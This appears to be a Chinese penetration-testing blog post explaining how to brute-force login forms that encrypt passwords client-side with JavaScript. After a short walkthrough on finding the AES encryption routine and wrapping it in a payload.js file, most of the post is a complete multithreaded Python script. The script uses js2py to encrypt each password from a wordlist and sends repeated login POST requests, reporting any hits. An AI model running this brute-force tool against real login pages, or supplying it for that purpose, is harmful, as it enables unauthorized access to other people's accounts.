python3利用js2py编写js加密传输暴力破解脚本
大家在做渗透项目的时候会发现大量的登陆接口存在密码或者用户名进行js加密的情况。很多初学者除了使用burp中的编码和简单加密外,没有其他更有限的办法。burp中局限性很大,当然也可以使用jsEncrypter这样的插件。下面给大家提供一个简单的思路。
0x00 先分析js加密过程
这是一个加密的密码
在源代码中定位到它的调用方法,很明显密码进行了AES加密,并且还有其他的拼接参数。进行了加密。
这是它调用的AES函数,我们把整个加密的js文件整个复制出来,复制到payload.js文件中,并在文件中添加一个调用方法。如下
function test1(user,passwd) {
return AESEncode(hex_md5(user).substring(16),passwd)
}
很简单,用户名和密码扔进去会返回一个加密的密码结果。
0x01 使用js2py模块
# encoding: utf-8
# xxxx-he1dan
import js2py
import requests
import threading
import queue
import time
class fuzz(threading.Thread):
def __init__(self,target,queue,jspath):
threading.Thread.__init__(self)
self.queue = queue
self.url = target
self.path = jspath
def run(self):
while not self.queue.empty():
loginname,password = self.queue.get()
payload={'loginName':loginname,'passwd':self.encodes(loginname,password)}
print(payload)
time.sleep(2)
try:
r = requests.post(self.url,data=payload,timeout=5,verify=False)
if '用户名或密码错误' in r.text:
print('用户名%s 密码%s--------用户名或密码错误'% (loginname,password))
else:
print(r.text)
print('爆破成功用户名%s 密码%s' % (loginname,password))
except Exception as e:
print('http请求发送错误:%s'% e)
self.queue.task_done()
def encodes(self,user,passwd):
lock.acquire()
with open(self.path, 'r', encoding='utf-8') as f:
js = f.read()
data = js2py.EvalJs()
data.execute(js)
resul = data.test1(user, passwd)#调用js内部的方法进行加密
lock.release()
return resul
lock=threading.Lock()
def main():
t = []
print('扫描开始')
url = 'http://www.baidu.com/?method=login'
q = queue.Queue()
userlist = [u.strip() for u in open('user.txt','r')]
passlist = [p.strip() for p in open('pass.txt','r')]
for u in userlist:
for p in passlist:
q.put((u,p))
for i in range(10):
thred=fuzz(url,q,'payload.js')#把js文件调用
t.append(thred)
for in t:
i.start()
for i in t:
i.join()
q.join()
print('扫描完毕')
if __name__=='__main__':
start = time.time()
main()
end = time.time()-start
print(end)
测试运行
脚本比较简单。核心就是调用了js2py.EvalJs()方法运行js,简单来说就是通过python调用js并且把js的结果返回到python中。
0x02 总结
这样的好处在于你不需要管js内部是如何写的。如果js被混淆加密过。你只需要能调用起来就可以了。